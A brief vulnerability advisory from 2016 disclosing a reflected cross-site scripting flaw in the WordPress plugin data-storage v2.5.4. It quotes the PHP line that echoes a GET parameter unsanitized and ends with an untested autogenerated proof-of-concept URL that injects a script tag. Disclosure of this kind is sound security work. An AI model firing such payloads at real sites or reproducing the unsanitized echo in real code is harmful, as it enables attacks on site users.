Advisory #: 542
Title: Reflected XSS in wordpress plugin data-storage v2.5.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/data-storage
Downloads: 1547
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: data-storage
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./data-storage/ghazale-data-storage-main.php: 545: <a href="<?php echo get_admin_url()?>admin.php?page=ds-forms#<?php echo $_GET['ds-edit-field-table'] ?>" style="text-decoration: none"><input type="button" value="<?php _e('Back to Forms','data-storage'); ?>"></a></p> The variable ds-edit-field-table appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./data-storage/ghazale-data-storage-main.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/data-storage/ghazale-data-storage-main.php?ds-edit-field-table="><script>alert(1);</script><"